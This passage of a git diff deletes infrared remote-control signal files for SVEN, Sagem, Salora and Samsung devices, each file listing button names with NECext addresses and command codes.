KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 14 00 00 00 -# -name: EQ- -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 15 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 18 00 00 00 -# -name: EQ -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 19 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1C 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SVEN/Unknown_IHOO/24,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SVEN/Unknown_IHOO/24,-1.ir deleted file mode 100644 index 81fd53ef0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SVEN/Unknown_IHOO/24,-1.ir +++ /dev/null @@ -1,80 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SV.VOL+ -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 00 00 00 00 -# -name: C.VOL+ -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 04 00 00 00 -# -name: S.VOL+ -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 08 00 00 00 -# -name: PRESET -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0C 00 00 00 -# -name: M.VOL- -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0D 00 00 00 -# -name: M.VOL+ -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 10 00 00 00 -# -name: SV.VOL- -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 11 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 14 00 00 00 -# -name: C.VOL- -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 15 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 18 00 00 00 -# -name: SOUND -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 19 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1C 00 00 00 -# -name: S.VOL- -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sagem/Unknown_DVB-T-Receiver/135,94.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sagem/Unknown_DVB-T-Receiver/135,94.ir deleted file mode 100644 index 5a43c8251..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sagem/Unknown_DVB-T-Receiver/135,94.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 09 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 0A 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 0B 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 0F 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 11 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 12 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 13 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 14 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 15 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 16 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 17 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 18 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 19 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 1B 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 1C 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 1D 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 1E 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 1F 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 20 00 00 00 -# -name: SOUND -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 21 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 24 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 25 00 00 00 -# -name: KEY_LIST -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 26 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sagem/Unknown_HD103-C/135,94.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sagem/Unknown_HD103-C/135,94.ir deleted file mode 100644 index b2387d598..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sagem/Unknown_HD103-C/135,94.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 09 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 0A 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 0B 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 0C 00 00 00 -# -name: tria2 -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 0F 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 11 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 12 00 00 00 -# -name: satdtt -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 13 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 14 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 15 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 16 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 17 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 18 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 19 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 1B 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 1C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 1D 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 1E 00 00 00 -# -name: teletext6 -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 20 00 00 00 -# -name: note -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 21 00 00 00 -# -name: ext -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 24 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 25 00 00 00 -# -name: hd -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 26 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sagem/Unknown_Sagem/135,94.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sagem/Unknown_Sagem/135,94.ir deleted file mode 100644 index 9fb49877e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sagem/Unknown_Sagem/135,94.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 09 00 00 00 -# -name: Key -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 0A 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 0B 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 0C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 10 00 00 00 -# -name: KEY_Q -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 11 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 12 00 00 00 -# -name: Head -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 13 00 00 00 -# -name: KEY_R -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 14 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 15 00 00 00 -# -name: Red_A -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 16 00 00 00 -# -name: Green_B -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 17 00 00 00 -# -name: Yellow_C -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 18 00 00 00 -# -name: Blue_D -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 19 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 1A 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 1B 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 1C 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 1D 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 1E 00 00 00 -# -name: Swap -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 1F 00 00 00 -# -name: Interface -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 20 00 00 00 -# -name: Tone -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 21 00 00 00 -# -name: KEY_I -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 24 00 00 00 -# -name: Navigator -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 25 00 00 00 -# -name: RightArr -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 26 00 00 00 -# -name: LeftArr -type: parsed -protocol: NECext -address: 87 5E 00 00 -command: 28 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Salora/Unknown_SV6700/49,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Salora/Unknown_SV6700/49,-1.ir deleted file mode 100644 index 723e3206d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Salora/Unknown_SV6700/49,-1.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 00 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 01 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 07 00 00 00 -# -name: SOUND -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0A 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0D 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0E 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0F 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 10 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 11 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 12 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 13 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 14 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 15 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 16 00 00 00 -# -name: STILL -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 17 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1C 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1D 00 00 00 -# -name: A/V -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1E 00 00 00 -# -name: REPEAT/MEMORY -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1F 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 42 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 44 00 00 00 -# -name: VPS -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 4F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Air Conditioner/1,8.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Air Conditioner/1,8.ir deleted file mode 100644 index 3082085bd..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Air Conditioner/1,8.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SLEEP -type: parsed -protocol: NECext -address: 01 08 00 00 -command: 27 00 00 00 -# -name: AIR_SWING -type: parsed -protocol: NECext -address: 01 08 00 00 -command: 29 00 00 00 -# -name: TEMP_- -type: parsed -protocol: NECext -address: 01 08 00 00 -command: 31 00 00 00 -# -name: TEMP_+ -type: parsed -protocol: NECext -address: 01 08 00 00 -command: 32 00 00 00 -# -name: FAN_SPEED -type: parsed -protocol: NECext -address: 01 08 00 00 -command: 34 00 00 00 -# -name: FAN -type: parsed -protocol: NECext -address: 01 08 00 00 -command: 39 00 00 00 -# -name: COOL -type: parsed -protocol: NECext -address: 01 08 00 00 -command: 3C 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 01 08 00 00 -command: 3F 00 00 00 -# -name: POWER_LONG -type: parsed -protocol: NECext -address: 01 08 00 00 -command: 3F 00 00 00 -# -name: POWER_SUSTAIN -type: parsed -protocol: NECext -address: 01 08 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Rear Projection DLP TV/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Rear Projection DLP TV/7,7.ir deleted file mode 100644 index cee578ee5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Rear Projection DLP TV/7,7.ir +++ /dev/null @@ -1,86 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ANTENNA_INPUT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1B 00 00 00 -# -name: COMPONENT_VIDEO_1 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 43 00 00 00 -# -name: PC_INPUT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 69 00 00 00 -# -name: S_VIDEO_1 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 85 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 98 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 99 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: C1 00 00 00 -# -name: S_VIDEO_3 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: C2 00 00 00 -# -name: COMPONENT_VIDEO_3 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: C3 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: F8 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: F9 00 00 00 -# -name: S_VIDEO_2 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: FB 00 00 00 -# -name: COMPONENT_VIDEO_2 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: FD 00 00 00 -# -name: DVI_INPUT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/TV/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/TV/7,7.ir deleted file mode 100644 index 025f15e87..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/TV/7,7.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INPUT_SOURCE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 01 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 02 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 04 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 05 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 06 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 07 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 08 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 09 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0A 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0B 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0C 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0D 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0E 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0F 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 10 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 11 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 12 00 00 00 -# -name: LAST -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 13 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1A 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1F 00 00 00 -# -name: AD/SUBT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 25 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 2D 00 00 00 -# -name: E-MANUAL -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 3F 00 00 00 -# -name: TOOLS -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 4B 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 4F 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 58 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 60 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 61 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 62 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 65 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 68 00 00 00 -# -name: CH_LIST -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 6B 00 00 00 -# -name: SMART_HUB -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 79 00 00 00 -# -name: 3D -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 9F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00011k/102,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00011k/102,0.ir deleted file mode 100644 index d87942125..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00011k/102,0.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 80 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 81 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 82 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 83 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 84 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 85 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 86 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 87 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 88 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 89 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 8B 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 8C 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 8E 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 8F 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 90 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 91 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 92 00 00 00 -# -name: disc_menu -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 94 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 95 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 97 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 98 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 99 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9A 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9B 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9B 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9D 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9F 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A0 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A1 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A2 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A4 00 00 00 -# -name: step -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A6 00 00 00 -# -name: prog -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A7 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A8 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 66 00 00 00 -command: AA 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 66 00 00 00 -command: AE 00 00 00 -# -name: ez_view -type: parsed -protocol: NECext -address: 66 00 00 00 -command: AF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00021c/5,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00021c/5,5.ir deleted file mode 100644 index b14a91a04..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00021c/5,5.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: tv/vcr -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 01 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: 